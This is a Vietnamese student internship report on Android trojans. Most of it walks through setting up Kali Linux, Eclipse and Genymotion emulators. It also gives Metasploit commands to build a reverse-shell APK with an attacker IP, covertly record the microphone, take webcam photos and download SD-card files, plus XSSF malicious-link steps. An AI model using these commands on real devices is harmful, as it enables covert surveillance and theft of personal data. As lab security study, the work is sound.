Download - Bao cao
September 1, 2014
Page 1
BÁO CÁO ĐỀ TÀI THỰC TẬP
ĐỀ TÀI: NGHIÊN CỨU CÁC TROJAN, MALWARE CHO PHÉP
ĐÁNH CẮP, SẮP XẾP DỮ LIỆU NHƯ DANH BẠ, TIN NHẮN
TRÊN ĐIỆN THOẠI SỬ DỤNG ANDROID VÀ GỬI RA NGOÀI.
Giáo Viên Hướng Dẫn : Thầy Võ Đỗ Thắng
Sinh Viên Thực Hiện : Huỳnh Thị Chúc Thanh
BÁO CÁO GIỮA KÌ
September 1, 2014
Page 2
Nội dung:
1. Tên đề tài: Nghiên cứu các trojan, malware cho phép đánh cắp, sắp
xếp dữ liệu như danh sách contact, tin nhắn trên điện thoại sử dụng
android và gửi ra ngoài.
2. Yêu cầu:
Phần 1: Thực hiện đối với mạng LAN (có kết nối wifi)
1.1 Nghiên cứu hệ điều hành Kali Linux. Cài đặt Kali Linux (hoặc Back
Track)
1.2 Nghiên cứu cơ chế tạo mã độc trên Kali Linux nói riêng và Android
nói chung.
1.3 Nghiên cứu cách tích hợp mã độc vào các phần mềm và quảng bá
qua mạng xã hội.
1.4 Thực hiện khai thác data trong thẻ sd card, camera của
smartphone.
Phần 2: Thực hiện trên môi trường Virtual Private Server – VPS (server
có internet)
2.1 Cài đặt autosploit trên VPS
2.2 Tạo mã độc trên VPS
2.3 Cho phép xâm nhập vào android1, android2, android3… gửi data từ
các android về VPS
MỤC LỤC
I – KALI LINUX VÀ CÁCH CÀI ĐẶT MÁY ẢO KALI LINUX TRÊN VMWARE
WORKSTATION
Kali Linux là một hệ điều hành được xây dựng trên nhân Linux, được thiết
kế để kiểm tra bảo mật, thử nghiệm xâm nhập các hệ thống máy tính. Kali Linux
phát triển trên nền tảng hệ điều hành Debian, khả năng tương thích với kiến trúc
ARM được cải tiến, nó hỗ trợ mạng không dây tốt hơn, có khả năng tùy biến cao
và dễ dàng nâng cấp giữa các phiên bản Kali trong trương lai.
Các bước để tạo một máy áo chạy Kali Linux trên phần mềm VMware
workstation.
1. Chuẩn bị:
- Máy tính được cài đặt phầm mềm VMware workstation. Ở đây ta sẽ dùng
VMware workstation 10.0.0
- Download file ISO hệ điều hành Kali Linux 64 bit phiên bản 1.0.7 trên link
www.kali.org/downloads
2. Tiến trình:
September 1, 2014
Page 3
Bước 1: Khởi động VMware. Vào File > New Virtual Machine… (hoặc
Ctrl+N)
Bước 2: Chọn Type là Custom (advanced) > Next
Bước 3: Yêu cầu file để cài đặt máy ảo, ta sẽ chọn I will install the
operating system later > Next
Bước 4: Chọn hệ thống là Linux, Version là Debian 7 64-bit > Next
September 1, 2014
Page 4
Bước 5: Chọn vùng lưu máy ảo và đặt tên máy ảo là Debian 7 64 > Next
Bước 6: Cấu hình bộ xử lý là mặc định > Next
September 1, 2014
Page 5
Bước 7: Chọn bộ nhớ RAM là 512MB > Next. Lưu ý là phải phù hợp với
máy thật)
Bước 8: Chọn loại Network là Bridged networking > Next
September 1, 2014
Page 6
Bước 9: Cấp phát ổ đĩa cho máy ảo. Ta cấp phát Maximum là 15GB. Chọn
Store virtual disk as a single file > Next
Bước 10: Ta sẽ trỏ file ISO vào máy ảo vừa tạo. Click chuột phải vào tên
máy ảo Debian 7 64 > Settings
Trỏ dòng CD/DVD (IDE) > phần Connection > Use ISO image file
> Ta dẫn đến file Kali Linux 64 bit.ISO
September 1, 2014
Page 7
Bước 11: Máy ảo được khởi chạy. Tại Boot menu > Chọn Graphical
install
Bước 12: Ta chọn Language, Location, Keyboard > Continue
Bước 13: Sau đó ta phải cấu hình Network > đặt Hostname > đặt Domain
name > Continue
Bước 14: Tạo Users name và Password > Continue. Bước nay khá quan
trọng, root password là mật khẩu để bạn đăng nhập vào máy ảo Debian 7 64
September 1, 2014
Page 8
Bước 15: Cấu hình Clock > Next
Bước 16: Phân vùng ổ đĩa > ta để mặc định Guided – use entire disk >
Continue
Khi xuất hiện yêu cầu Write the changes to disk? > chọn Yes > Continue
Đợi Install System
September 1, 2014
Page 9
Bước 17: Cấu hình Package manager > Xuất hiện yêu cầu Use the
network mirror? > chọn No > Continue
Bước 18: Cài đặt GRUB boot loader > Install the GRUB boot loader to the
master boot record? > chọn Yes > Continue
September 1, 2014
Page 10
Bước 19: Ta đợi tiến trình cài đặt hoàn tất > Finish the Installation >
Continue
Bước 20: Sau khi hoàn tất, máy ảo Debian 7 64 sẽ tự khởi động. Ta đăng
nhập với User là root và Password đã đặt.
II – NGHIÊN CỨU MALWARE, TROJAN VÀ CƠ CHẾ TẠO MÃ ĐỘC TRÊN
ANDROID
1. Khái niệm Malware, Trojan:
September 1, 2014
Page 11
- Malware - Malicious Sofware có nghĩa là bất kỳ phần mềm máy tính độc hại nào đó được tạo nên với ý định xâm nhập làm hại máy tính, thu thập thông tin, truy cập dữ liệu nhạy cảm… mà người sử dụng không hề hay biết. Malware bao gồm virus, worm, trojan horse, adware, spyware, keyloger, backdoor, rootkit…
- Trojan - Trojan Horse gọi là phần mềm gián điệp. Nó là một chương trình phần mềm độc hại mà không cố gắng để tự tái tạo, thay vào đó nó sẽ được cài đặt vào hệ thống của người dùng bằng cách giả vờ là một chương trình phần mềm hợp pháp.
- Hiện nay, malware chỉ xâm nhập vào máy tính và đánh cắp thông tin người dùng, nó chưa có cơ chế lây lan. Cách thức hoạt động của malware giống như trojan chứ không như virus phá hủy.
- Đơn giản là malware và trojan giúp tin tặc truy cập vào máy người dùng, điều khiển từ xa, thu thập thông tin người dùng…
2. Cơ chế hoạt động của Malware: Lấy một ví dụ cụ thể về 1 Malware rất phổ biến trong thời gian vừa qua đó
là Malware DroidDream. Malware này hoạt động qua 2 giai đoạn: - Giai đoạn 1: DroidDream được nhúng vào trong một ứng dụng (số lượng
ứng dụng chứa Malware này hiện đã nhiều hơn 50 ứng dụng) và sẽ chiếm được quyền root vào thiết bị của bạn ngay sau khi bạn chạy ứng dụng đó trong lần sử dụng đầu tiên.
- Giai đoạn 2: Tự động cài đặt một ứng dụng thứ 2 với một permission đặc biệt cho phép quyền uninstall. Một khi các ứng dụng thứ 2 được cài đặt, nó có thể gửi các thông tin nhạy cảm tới một máy chủ từ xa và âm thầm tải thêm các ứng dụng khác Một khi DroidDream chiếm được quyền root, Malware này sẽ chờ đợi và âm thầm cài đặt một ứng dụng thứ hai, DownloadProviderManager.apk như một ứng dụng hệ thống. Việc cài đặt ứng dụng hệ thống này nhằm ngăn ngừa người dùng xem hoặc gỡ bỏ cài đặt các ứng dụng mà không được phép.
Không giống như giai đoạn đầu, người dùng phải khởi động ứng dụng để bắt đầu việc lây nhiễm, ở giai đoạn thứ 2 ứng dụng tự động làm một số việc như là confirm, checkin….Một điều nữa khiến cho bạn không thể biết chúng hoạt động lúc nào, đó là Malware DroidDream này được lập trình để làm hầu hết các công việc của mình vào khoảng thời gian từ 11h đêm tới 8h sáng ngày hôm sau. Đây là khoảng thời gian mà điện thoại ít có khả năng được sử dụng nhất. Điều này làm cho người dùng khó khăn hơn trong việc phát hiện một hành vi bất thường trên chiếc smartphone của mình.
Hiện nay còn có một số Malware còn có khả năng nghe lén tất cả các cuộc điện thoại. Vấn đề này thực sự nguy hiểm khi tất cả các vấn đề riêng tư của chúng ta đang bị một theo dõi, vì vậy những mối nguy hiểm từ mã độc trên android đang thực sự đe dọa đến an sự an toàn của người dùng hệ điều hành này.
3. Cơ chế hoạt động của Trojan:
- Trojan có nhiều loại nhưng phổ biến là 2 loại: Trojan dùng để điều khiển và
Trojan dùng để đánh cắp mật khẩu.
September 1, 2014
Page 12
- Bước đầu cơ chế hoạt động của cả 2 loại này là giống nhau. Máy tính sẽ
bị nhiễm trojan qua tập tin đính kèm của thư điện tử, chương trình trò chơi,
chương trình nào đó mà bạn vô tình chạy thử. Nó sẽ tự sao chép vào nơi nào đó
trong máy tính. Sau đó nó bắt đầu ghi vào registry của máy các thông số đề nó
có thễ tự động khởi chạy khi máy tính khởi động.
- Tiếp theo, đối với trojan điều khiển nó sẽ cho phép tin tặc từ xa nắm quyền
điều khiển máy tính. Còn đối với trojan đánh cắp mật khẩu, nó lưu mật khẩu của
người dùng vào 1 file và tự động gửi mail đến tin tặc khi máy tính kết nối mạng.
September 1, 2014
Page 13
III – MÁY ẢO ANDROID VIRTUAL DEVICE – CÁCH TẠO MÁY ẢO QUA PHẦN
MỀM ECLIPSE
Phần mềm Eclipse có chức năng Android Virtual Device cho phép
ta tạo máy ảo chạy android (có thể là smartphone, tablet…)
Thông qua các máy ảo này ta có thể nghiên cứu cách tích hợp mã
độc vào thiết bị chạy android
1. Các Tools cần thiết để cài đặt:
- Phần mềm Eclipse
- Bộ Java SE Development Kit
- Android Developer Tools
- Android SDK
- Bộ công cụ Android Debug Bridge ADB
- Các ứng dụng cơ bản cho Android
2. Tải và cài đặt JDK – Java SE Development Kit:
Bước 1: Tải JDK tại
http://www.oracle.com/technetwork/java/javase/downloads/jdk7-
downloads-1880260.html
Click chọn “Accept License Agreement”
Chọn phiên bản phù hợp với máy tính. Ở đây ta chọn Windows x64
September 1, 2014
Page 14
Bước 2: Sauk hi tải về, ta tiến hành cài đặt như nhiều phần mềm khác qua
các lựa chọn Next. Cuối cùng click Close
Bước 3: Để kiểm tra lại việc cài đặt JDK. Ta mở cmd.exe
Gõ lệnh “java <Enter>”
3. Tải về Eclipse Android Developer Tools và Android SDK:
Lưu ý khi ta tải về bộ này, sẽ gồm cả phần mềm Eclipse
Bước 1: Tải về tại link http://developer.android.com/sdk/index.html
September 1, 2014
Page 15
Click vào I have read and agree… và chọn phiên bản 64-bit
Click Download
Bước 2: Giải nén file vừa tải về. Chạy SDK Manager.exe
Lưu ý là có thể gặp lỗi Fetching https://dl-sll... Failed to fetch…
Close thông báo này lại.
Xuất hiển cửa sổ Choose Packages to Install. Nếu cửa sổ này
rỗng > Cancel
Quay về cửa sổ Android SDK and AVD manager > Settings >
Tick vào ô Force https://...
Nếu không bị lỗi này, thì sẽ xuất hiện cửa sổ Android SDK
Manager
Ta chọn các Packages muốn cài. Và Install
September 1, 2014
Page 16
Bước 3: Tại cửa sổ Choose Packages to Install > Tick vào Accept
License > Install > Chờ hoàn tất
4. Tích hợp Android SDK vào Eclipse:
September 1, 2014
Page 17
Sau khi có phần mềm Eclipse và bộ Android SDK, ta cần tích hợp lại để
sử dụng
Bước 1: Mở eclipse.exe trong thư mục giải nén file Eclipse Android
Developer Tools và Android SDK đã tải ở trên
D:\ Soft\adt-bundle-windows-x86_64-20140702\eclipse\eclipse.exe
Bước 2: Vào Help > Install new software… > Add
> Name: gõ tên tool muốn đặt
> Location: gõ địa chỉ tải về ADT
https://dl.google.com/android/eclipse
hoặc https://dl-ssl.google.com/android/eclipse
> OK
Bước 3: Ở cửa sổ Name > Tick vào Developer Tools
Bước 4: Chọn các Next > Next > Accept > Next > Finish – Run in
Background
Bước 5: Vào Windows > Preferences > Android > Browse > Chỉ đường
dẫn thư mục Android SDK đã tải > Apply > OK
September 1, 2014
Page 18
Bước 6: Khởi đông lại Eclipse
5. Tạo máy ảo chạy Android trên phần mềm Eclipse:
Android Virtual Device là máy ảo cho developer phát triển ứng dụng.
Sau đây là các bước tạo 1 AVD trên Eclipse
Bước 1: Mở eclipse.exe > Vào Windows > Android Virtual Device
Manager >
Bước 2: Thiết đặt các thông số cần thiết:
Name: Đặt tên cho thiết bị
September 1, 2014
Page 19
Device: Chọn loại thiết bị bạn muốn tạo
Target: Chọn phiên bản hệ điều hành
Skin: chọn kích cỡ màn hình bạn muốn, thường thì phải phù hợp
với Device đã chọn ở trên
SDcard: chọn thẻ nhớ ảo cho AVD.
Bước 3: Click OK để tạo máy ảo.
Khởi chạy bằng nút Start… > Launch
Bước 4: Chờ hoàn tất, ta được máy ảo chạy Android
IV – MÁY ẢO ANDROID TRÊN PHẦN MỀM GENYMOTION THÔNG QUA
VIRTUALBOX
Phần mềm Genymotion và VirtualBox cho phép ta tạo máy ảo
chạy android (có thể là smartphone, tablet…).
Thông qua các máy ảo này ta có thể nghiên cứu cách tích hợp mã
độc vào thiết bị chạy android.
1. Các Tools cần thiết để cài đặt:
- Phần mềm Virtual Box.
- Phần mềm Genymotion.
- Bộ công cụ phát triển Java SE Development Kit.
- Bộ công cụ Android SDK Manager.
September 1, 2014
Page 20
2. Tải và cài đặt JDK (Java SE Development Kit) và Android SDK
Manager:
Phần tải và cài đặt đã được hướng dẫn và thực hiện ở mục III của Báo
cáo này.
3. Tải về và cài đặt phần mềm tạo máy ảo VirtualBox:
Ta có thể bản VirtualBox phù hợp với máy của bạn.
- Bước 1: Ta tải về file cài đặt VirtualBox tại trang:
http://www.oracle.com/technetwork/server-
storage/virtualbox/downloads/index.html
Bước 2: Sau khi tải về, ta tiến hành cài đặt như nhiều phần mềm khác:
Bước 3: Next > Next > Next > Install > Finish
September 1, 2014
Page 21
Bước 4: Giao diện phần mềm sau khi cài đặt xong.
4. Tải về và cài đặt ứng dụng Genymotion:
Bước 1: Trước khi bắt đầu, ta cần có 1 tài khoản trên web
www.genymotion.com
Ta có thể đăng ký miễn phí và tải Genymotion về máy.
Bước 2: Bắt đầu cài đặt phần mềm Genymotion. Ta lựa chọn ngôn ngữ cài
đặt > OK > Next
September 1, 2014
Page 22
Bước 3: Chọn thư mục lưu cài đặt.
Bước 4: Next > Next > Install > Finish
Bước 5: Mở Genymotion vừa cài đặt xong. Ta vào thiết đặt 1 số thông số
ở mục Settings
September 1, 2014
Page 23
Bước 6: Nhập Username và Password mà bạn đã đăng ký trên web
www.genymotion.com ở thẻ General
Bước 7: Ở thẻ ADB > chọn Use custom Android SDK tools > Browser
đường dẫn đến thư mục sdk trong thư mục mà ta đã tải Android SDK
Manager. Sau đó lưu lại cài đặt.
F:\ Soft\adt-bundle-windows-x86_64-20140702\sdk
5. Tạo máy ảo chạy Android trên Genymotion kết hợp VirtualBox:
September 1, 2014
Page 24
Bước 1: Ta mở Genymotion lên để tạo máy ảo. Vào Add
Bước 2: Chọn tên thiết bị mà muốn làm máy ảo.
Xuất hiện cấu hình máy ảo sắp tạo:
Bước 3: Next > Đợi máy ảo tự động tải về từ web và Finish quá trình tạo
máy ảo.
September 1, 2014
Page 25
Bước 4: Để khởi động máy ảo vừa tạo ta chọn máy ảo > Play
Bước 5: Giao diện máy ảo Google Nexus 7 vừa tạo thành công.
September 1, 2014
Page 26
V – TẠO MÃ ĐỘC TRÊN MÁY KALI LINUX VÀ TẤN CÔNG VÀO THIẾT BỊ
ANDROID:
1. Các công cụ cần thiết:
Để thực hiện tạo mã độc và tấn công vào thiết bị Android ta cần chuẩn bị:
- Máy chạy hệ điều hành Linux phiên bản Kali (hoặc Back Track). Ở đây
dùng VMware để tạo máy ảo Kali (đã được hướng dẫn cách làm).
- Thiết bị chạy Android ảo. Ở đây dùng Genymotion kết hợp VirtualBox để
tạo tablet chạy Android 4.3.
- Cả 2 thiết bị đều có thể kết nối mạng.
- Có tài khoản email để gửi và nhận file trên cả 2 thiết bị.
2. Tiến trình:
September 1, 2014
Page 27
Bước 1: Khởi động máy tấn công Kali Linux và thiết bị nạn nhân Android.
Thiết đặt card mạng cho máy tấn công Kali để đảm bảo kết nối
được internet.
Vào Edit > Virtual Network Editor…
Tại VMnet0 > Chọn Type là Bridged > Chọn card mạng của máy
thật ở ô Bridged to.
Bước 3: Kiểm tra IP của máy tấn công Kali bằng lệnh : “ifconfig”
September 1, 2014
Page 28
Bước 4: Tạo 1 file chứa mã độc và gửi cho thiết bị Android. Ở đây ta tạo
file ứng dụng *.apk và gửi qua email.
Nhập lệnh: “msfpayload android/meterpreter/reverse_tcp
lhost=<địa chỉ IP máy tấn công> lport=<địa chỉ port> R > <địa
chỉ lưu lại> / <tên file>”
Ví dụ lệnh là: msfpayload android/meterpreter/reverse_tcp
lhost=192.168.149.136 lport=8080 R > /root/Desktop/appsX.apk.
- Tạo ứng dụng ReverseTCP có trên file là appsX.apk.
- Địa chỉ IP máy tấn công là 192.168.149.136.
- Địa chỉ Port là 8080 (Lưu ý tránh sử dụng các port thông dụng từ 0 đến
1023).
- Lưu file tại Desktop.
Bước 5: Khởi động ứng dụng Metasploit trên máy tấn công Kali bằng
lệnh: “msfconsole”
Bước 6: Sau đó ta set các payload, lhost, lport bằng các lệnh:
September 1, 2014
Page 29
“set payload android/meterpreter/reverse_tcp”
“set lhost 192.168.149.136”
“set lport 8080”
Bước 7: Thực hiện lệnh “exploit” để bắt đầu quá trình tấn công.
Bước 8: Tại thiết bị Android, sau khi tải về và cài đặt file appsX.apk, ta
được ứng dụng MainActivity. Khởi động lên và nhấp vào ReverseTCP.
September 1, 2014
Page 30
Khi đó trên Kali ta nhận được thông báo có thiết bị truy cập vào làm nạn
nhân.
Bước 9: Dùng lệnh “help” để liệt kê các lệnh mà ta có thể thực hiện được.
September 1, 2014
Page 31
3. Khai thác thông tin hê thống:
Xem thông tin hệ thống bằng lệnh “sysinfo”.
4. Ghi âm lén:
Ghi âm lén ở thiết bị nạn nhân Android và lưu về máy tấn công Kali bằng
lệnh “record_mic”.
September 1, 2014
Page 32
File ghi âm được là xLijsRbg.wav lưu tự động ở /root của máy
Kali.
5. Khai thác webcam và chụp ảnh lén:
Kiểm tra danh sách webcam của thiết bị nạn nhân Android và thực hiện
chụp ảnh lén, lưu về máy tấn công Kali bằng lệnh “webcam_list” và
“webcam_snap <mã webcam>”.
September 1, 2014
Page 33
File ảnh chụp được là FRumITki.jpeg lưu tự động ở /root của máy Kali .
6. Khai thác file hệ thống của máy nạn nhân:
Kiểm tra các file hệ thống đang hoạt động bằng lệnh “ps”.
7. Khai thác dữ liệu từ SDCARD:
September 1, 2014
Page 34
Di chuyển vào bộ nhớ SDCARD bằng lệnh “cd /sdcard”.
Dùng lệnh “ls” để liệt kê danh sách các thư mục/tập tin có trong SDCARD.
Xem các tập tin mà máy nạn nhân đã tải về qua lệnh di chuyển thư muc
“cd Download” và lệnh liệt kê “ls”.
Đánh cắp và tải về tập tin bất kì bằng lệnh “download <tên tập tin>”.
Ở đây dùng lệnh “download appsX.apk”.
Tập tin appsX.apk vừa đánh cắp về được lưu tự động trong /root của
máy tấn công Kali.
8. Kết thúc tấn công:
Dùng lệnh “exit” để thoát khỏi Metasploit và kết thúc quá trình tấn công.
VI – TẤN CÔNG VÀO THIẾT BỊ ANDROID THÔNG QUA LIÊN KẾT CHỨA MÃ
ĐỘC:
September 1, 2014
Page 35
1. Các công cụ cần thiết:
Để tấn công vào thiết bị Android thông qua liên kết chứa mã độc ta cũng
cần chuẩn bị như tấn công bằng file mã độc ở trên:
- Máy chạy hệ điều hành Linux phiên bản Kali (hoặc Back Track). Ở đây
dùng VMware để tạo máy ảo Kali (đã được hướng dẫn cách làm).
- Thiết bị chạy Android ảo. Ở đây dùng Genymotion kết hợp VirtualBox để
tạo tablet chạy Android 4.3.
- Cả 2 thiết bị đều có thể kết nối mạng.
- Có tài khoản email để gửi và nhận thông tin liên kết trên cả 2 thiết bị.
2. Tiến trình:
Bước 1: Khởi động máy tấn công Kali Linux và thiết bị nạn nhân Android.
Bước 2: Ở máy Kali > Mở Terminal > thực hiện 3 lệnh sau để cập nhật
Framework
“msfupdate”
“cd /opt/metasploit/apps/pro/msf3”
“svn export http://xssf.googlecode.com/svn/trunk/ ./ --force”
Bước 3: Khởi động Metasploit bằng lệnh “msfconsole”
Bước 4: Vào XSSF bằng lệnh “load xssf Port=80 Uri=/xssf/
Public=true Mode=Verbose”
September 1, 2014
Page 36
Bước 5: Thực hiện lệnh “xssf_urls”
Ta nhận được các urls (đường dẫn web http) như của XSSF Server, XSSF
test page, XSSF logs page…
Bước 6: Cho máy nạn nhân truy cập vào đường dẫn XSSF test page:
http://192.168.149.136:80/xssf/test.html
September 1, 2014
Page 37
Ta nhận được thông báo trên máy tấn công Kali:
3. Kiểm tra số lượng nạn nhân đang truy cập vào đường dẫn mã độc:
Ta dùng lệnh “xssf_victims” để kiểm tra số lượng nạn nhân truy cập vào
đường dẫn mã độc http://192.168.149.136:80/xssf/test.html
4. Xem thông tin về nạn nhân đang truy cập:
Dùng lệnh “xssf_information <ID máy nạn nhân>”
Ở đây ví dụ là “xssf_information 1”
September 1, 2014
Page 38
5. Khai thác dữ liệu từ máy nạn nhân:
Đầu tiên ta dùng lệnh “search auxiliary/xssf” để kiểm tra các quyền
mà ta có thể thao tác lên máy nạn nhân
Gửi Thông báo XSSF đến máy nạn nhân qua lệnh:
“use auxiliary/xssf/public/misc/alert”
“run”
September 1, 2014
Page 39
Ở máy nạn nhân sẽ nhận được cảnh báo XSSF
Thoát ra msf bằng lệnh “Ctrl+C” > “back”
Kiểm tra xem nạn nhân có truy cập vào các trang web thông dụng hay
không bằng lệnh:
“use auxiliary/xssf/public/misc/visited_pages”
“run”
Cài đặt 1 đường dẫn mới và qua đó kiểm tra thông tin máy nạn nhân
lần nữa:
“use auxiliary/gather/android_htmlfileprovider”
“set SRVPORT 87”
“set URIPATH /”
“run”
September 1, 2014
Page 40
Chờ nạn nhân truy cập vào đường dẫn mới
http://192.168.149.136:87/
Ta nhận được thông tin máy nạn nhân:
6. Thoát khỏi XSSF của Metasploit:
Để thoát khỏi ta thực hiện các lệnh: “Ctrl + C” > “back” > “exit” > “exit”
September 1, 2014
Page 41
VII – BÁO CÁO TUẦN VÀ VIDEO QUÁ TRÌNH
1. Link báo cáo tuần:
http://www.slideshare.net/phanconghien/tuan1
http://www.slideshare.net/phanconghien/tuan2
http://www.slideshare.net/phanconghien/tuan3-4
2. Link video quá trình thực hiện:
- Cài đặt Kali Linux trên VMware: http://youtu.be/90e-w3SGJnY
- Tạo máy ảo Android Virtual Device trên Eclipse:
http://youtu.be/7p9_0ojdmqs
- Tạo máy ảo Android trên Genymotion và VirtualBox:
http://youtu.be/DkxtthrNb9o
- Tạo mã độc trên Kali Linux và tấn công vào máy ảo Android:
http://youtu.be/iEawr1JupZ8
- Tạo mã độc trên trang web bằng XSSF: http://youtu.be/1Jw8F_H0Jz4
- Clip Giới thiệu bản thân: http://youtu.be/iRfXCEXI9lo
September 1, 2014
Page 42
VIII – NGUỒN THAM KHẢO
http://sinhvienit.net/forum
www.kali.org/downloads
http://forum.bkav.com.vn
http://vi.wikipedia.org/wiki
http://developer.android.com/sdk/index.html#download
http://www.oracle.com/technetwork/java/javase/downloads
http://choimobile.vn/forums/#thao-luan-hdh-android.62
http://www.oracle.com/technetwork/server-
storage/virtualbox/downloads/index.html
http://www.genymotion.com/
http://www.whitehat.vn/threads/
Giáo trình khóa học System Hacking – Trung tâm đào tạo ATHENA –
www.Athena.Edu.Vn